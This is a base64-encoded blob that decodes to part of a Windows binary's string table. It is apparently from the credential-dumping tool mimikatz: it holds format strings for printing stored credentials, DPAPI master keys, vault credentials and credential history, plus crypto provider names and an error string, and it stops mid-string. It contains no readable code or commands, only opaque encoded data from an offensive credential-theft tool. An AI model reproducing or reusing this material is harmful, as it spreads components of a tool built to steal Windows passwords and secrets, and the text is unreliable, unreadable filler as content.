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LAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAOgAgAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIAB2AGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAHYAYQB1AGwAdAAgACAAIAA6ACAAAAAlACoAcwAgACAATgBhAG0AZQAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAALwAxAC8AMgA6ACAAJQAwADgAeAAvACUAMAA4AHgALwAlADAAOAB4AAoAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAgAEsARQBZACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAOgAgAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAFMAYwBoAGUAbQBhAEkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAyACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAEYAcgBpAGUAbgBkAGwAeQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIABkAHcAQQB0AHQAcgBpAGIAdQB0AGUAcwBNAGEAcABTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgACoAIABBAHQAdAByAGkAYgB1AHQAZQAgACUAMwB1ACAAQAAgAG8AZgBmAHMAZQB0ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAgACgAdQBuAGsAIAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAAAAAAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAgAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAAAAlACoAcwAgACAAaQBkACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABJAFYAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAEQAYQB0AGEAIAAgACAAIAA6ACAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAgAEMATABFAEEAUgAgAEEAVABUAFIASQBCAFUAVABFAFMAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAYwBvAHUAbgB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgACoAIAAAAHIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAA6ACAAAAAAAAAAAABpAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgADoAIAAAAAAAAAAAAHAAcgBvAHAAZQByAHQAeQAgACUAMwB1ACAAIAA6ACAAAAAAACUAcwAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARQBOAFQARQBSAFAAUgBJAFMARQAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AUwBFAFIAVgBJAEMARQAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBVAFMARQBSAFMAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEUATgBIAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQASABfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8ARgBVAEwATAAAAAAAAABQAFIATwBWAF8AUgBTAEEAXwBTAEkARwAAAAAAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAAAAAAFAAUgBPAFYAXwBGAE8AUgBUAEUAWgBaAEEAAAAAAAAAUABSAE8AVgBfAE0AUwBfAEUAWABDAEgAQQBOAEcARQAAAAAAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMAQwBIAEEATgBOAEUATAAAAAAAAABQAFIATwBWAF8ARABTAFMAXwBEAEgAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8AUwBJAEcAAAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAFMASQBHAAAAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMARABTAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8ARgBVAEwATAAAAAAAUABSAE8AVgBfAEQASABfAFMAQwBIAEEATgBOAEUATAAAAAAAAAAAAFAAUgBPAFYAXwBTAFAAWQBSAFUAUwBfAEwAWQBOAEsAUwAAAAAAAABQAFIATwBWAF8AUgBOAEcAAAAAAAAAAABQAFIATwBWAF8ASQBOAFQARQBMAF8AUwBFAEMAAAAAAFAAUgBPAFYAXwBSAEUAUABMAEEAQwBFAF8ATwBXAEYAAAAAAAAAAABQAFIATwBWAF8AUgBTAEEAXwBBAEUAUwAAAAAAAAAAAEMAQQBMAEcAXwBNAEQAMgAAAAAAAAAAAEMAQQBMAEcAXwBNAEQANAAAAAAAAAAAAEMAQQBMAEcAXwBNAEQANQAAAAAAAAAAAEMAQQBMAEcAXwBTAEgAQQAxAAAAAAAAAEMAQQBMAEcAXwBNAEEAQwAAAAAAAAAAAEMAQQBMAEcAXwBSAFMAQQBfAFMASQBHAE4AAAAAAAAAQwBBAEwARwBfAEQAUwBTAF8AUwBJAEcATgAAAAAAAABDAEEATABHAF8ATgBPAF8AUwBJAEcATgAAAAAAAAAAAEMAQQBMAEcAXwBSAFMAQQBfAEsARQBZAFgAAAAAAAAAQwBBAEwARwBfAEQARQBTAAAAAAAAAAAAQwBBAEwARwBfADMARABFAFMAXwAxADEAMgAAAAAAAABDAEEATABHAF8AMwBEAEUAUwAAAAAAAABDAEEATABHAF8ARABFAFMAWAAAAAAAAABDAEEATABHAF8AUgBDADIAAAAAAAAAAABDAEEATABHAF8AUgBDADQAAAAAAAAAAABDAEEATABHAF8AUwBFAEEATAAAAAAAAABDAEEATABHAF8ARABIAF8AUwBGAAAAAABDAEEATABHAF8ARABIAF8ARQBQAEgARQBNAAAAAAAAAEMAQQBMAEcAXwBBAEcAUgBFAEUARABLAEUAWQBfAEEATgBZAAAAAABDAEEATABHAF8ASwBFAEEAXwBLAEUAWQBYAAAAAAAAAEMAQQBMAEcAXwBIAFUARwBIAEUAUwBfAE0ARAA1AAAAQwBBAEwARwBfAFMASwBJAFAASgBBAEMASwAAAAAAAABDAEEATABHAF8AVABFAEsAAAAAAAAAAABDAEEATABHAF8AQwBZAEwASQBOAEsAXwBNAEUASwAAAEMAQQBMAEcAXwBTAFMATAAzAF8AUwBIAEEATQBEADUAAAAAAAAAAABDAEEATABHAF8AUwBTAEwAMwBfAE0AQQBTAFQARQBSAAAAAAAAAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAE0AQQBTAFQARQBSAF8ASABBAFMASAAAAAAAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAEMAXwBLAEUAWQAAAAAAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ARQBOAEMAXwBLAEUAWQAAAAAAAABDAEEATABHAF8AUABDAFQAMQBfAE0AQQBTAFQARQBSAAAAAAAAAAAAQwBBAEwARwBfAFMAUwBMADIAXwBNAEEAUwBUAEUAUgAAAAAAAAAAAEMAQQBMAEcAXwBUAEwAUwAxAF8ATQBBAFMAVABFAFIAAAAAAAAAAABDAEEATABHAF8AUgBDADUAAAAAAAAAAABDAEEATABHAF8ASABNAEEAQwAAAAAAAABDAEEATABHAF8AVABMAFMAMQBQAFIARgAAAAAAAAAAAEMAQQBMAEcAXwBIAEEAUwBIAF8AUgBFAFAATABBAEMARQBfAE8AVwBGAAAAAAAAAEMAQQBMAEcAXwBBAEUAUwBfADEAMgA4AAAAAAAAAAAAQwBBAEwARwBfAEEARQBTAF8AMQA5ADIAAAAAAAAAAABDAEEATABHAF8AQQBFAFMAXwAyADUANgAAAAAAAAAAAEMAQQBMAEcAXwBBAEUAUwAAAAAAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADIANQA2AAAAAAAAAAAAQwBBAEwARwBfAFMASABBAF8AMwA4ADQAAAAAAAAAAABDAEEATABHAF8AUwBIAEEAXwA1ADEAMgAAAAAAAAAAAEMAQQBMAEcAXwBFAEMARABIAAAAAAAAAEMAQQBMAEcAXwBFAEMATQBRAFYAAAAAAEMAQQBMAEcAXwBFAEMARABTAEEAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAAAAAABDAE4ARwAgAEsAZQB5AAAAPwAAAAAAAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGcAdQBpAGQAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAGUAcwBjAHIAaQBwAHQAaQBvAG4ATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAcwB6AEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBDAHIAeQBwAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAYQBsAHQATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABwAGIAUwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAbQBhAGMASwBlAHkATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAAAAAAlACoAcwAgACAAYQBsAGcASABhAHMAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABtAGEAYwAyAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHAAYgBIAG0AYQBjAGsAMgBLAGUAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcARABhAHQAYQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHAAYgBEAGEAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAGcAbgBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHAAYgBTAGkAZwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAoAAAAAACUAKgBzACoAKgBNAEEAUwBUAEUAUgBLAEUAWQAqACoACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAlACoAcwAgACAAYQBsAGcASABhAHMAaAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAJQAqAHMAIAAgAHAAYgBLAGUAeQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACAASQBOAEYATwAqACoACgAAAAAAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACoAKgBEAE8ATQBBAEkATgBLAEUAWQAqACoACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBlAGMAcgBlAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGMAYwBlAHMAcwBjAGgAZQBjAGsATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAcABiAFMAZQBjAHIAZQB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABwAGIAQQBjAGMAZQBzAHMAYwBoAGUAYwBrACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAKgAqAE0AQQBTAFQARQBSAEsARQBZAFMAKgAqAAoAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAHMAegBHAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAHsAJQAuADMANgBzAH0ACgAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzAFsAbQBhAHMAdABlAHIAawBlAHkAXQAKAAAAJQAqAHMAWwBiAGEAYwBrAHUAcABrAGUAeQBdAAoAAAAlACoAcwBbAGMAcgBlAGQAaABpAHMAdABdAAoAAAAAACUAKgBzAFsAZABvAG0AYQBpAG4AawBlAHkAXQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGcAdQBpAGQAIAAgACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHMAaQBkAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAAACUAKgBzACAAIABzAGgAYQAxAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAG0AZAA0AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAUwBhAGwAdAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAFMAaQBkACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4